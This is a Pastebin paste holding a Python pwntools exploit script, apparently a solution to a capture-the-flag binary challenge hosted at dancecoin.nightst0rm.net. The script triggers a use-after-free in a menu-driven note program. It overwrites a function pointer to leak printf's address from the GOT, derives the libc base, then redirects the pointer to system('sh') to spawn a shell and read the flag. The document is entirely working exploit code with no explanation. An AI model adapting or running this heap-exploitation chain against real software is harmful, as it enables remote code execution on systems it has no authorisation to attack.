Guest User

Untitled

a guest
Oct 19th, 2017
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.92 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. from pwn import *
  4. import sys
  5.  
  6. libc = ELF("/lib/i386-linux-gnu/libc.so.6")
  7. binary = ELF('./bai_3_e17104059d3f25f3e8728ae2cc5277e0')
  8.  
  9. printf = 0x080487bb
  10.  
  11. #Attach to gdb
  12. #gdb.attach(p, """
  13. #""")
  14.  
  15. if len(sys.argv) != 1:
  16. host = "dancecoin.nightst0rm.net"
  17. port = 1337
  18. p = remote(host, port)
  19. else:
  20. p = process('./bai_3_e17104059d3f25f3e8728ae2cc5277e0')
  21.  
  22. #Define function
  23. def add(strlen, _str):
  24. p.sendline("1")
  25. p.sendlineafter("strlen:", str(int(strlen)))
  26. p.sendlineafter("str:", str(_str))
  27. log.success("Add %s OK!\n" %(str(_str)))
  28.  
  29. def delete(index):
  30. p.sendline("3")
  31. p.sendlineafter("index:", str(index))
  32. log.success("Delete successful at %d!\n" %(index))
  33.  
  34. def view(index, delay):
  35. p.sendline("2")
  36. p.sendlineafter("(s):", str(delay))
  37. p.sendlineafter("view index:", str(index))
  38. log.success("View OK!\n")
  39.  
  40. def calculate(name, run_address, offset):
  41. result = 0
  42. result = run_address-offset
  43. print(name + " is: %#x" %(result))
  44. return result
  45.  
  46. def exploit():
  47. message = "AAAA"
  48. message += "BBBB"
  49. message += "CCCC"
  50.  
  51. add(0x11, message)
  52. add(0x11, message)
  53. add(0x11, message)
  54. add(0x11, message)
  55. add(0x11, message)
  56.  
  57. view(1, 2)
  58. delete(1)
  59. delete(1)
  60.  
  61. payload = p32(binary.got['printf'])
  62. payload += p32(printf)
  63. add(8, payload)
  64.  
  65. p.recvuntil(":\n")
  66. printf_addr = u32(p.recv(4))
  67. libc.address = calculate("[-]Libcbase", printf_addr, libc.symbols['printf'])
  68. log.failure("System: %#x" %(libc.symbols['system']))
  69.  
  70.  
  71. view(2, 2)
  72. delete(2)
  73. delete(2)
  74.  
  75. ulti = "sh\x00\x00"
  76. ulti += p32(libc.symbols['system'])
  77. add(8, ulti)
  78.  
  79. lo = log.progress("Capturing the flag")
  80. sleep(5)
  81. lo.success("Captured the flag")
  82. for i in range(10):
  83. p.sendline('cat /home/pwn3/flag')
  84. print p.recv(1024)
  85. p.interactive()
  86.  
  87. if __name__ == "__main__":
  88. # execute only if run as a script
  89. exploit()
Add Comment
Please, Sign In to add comment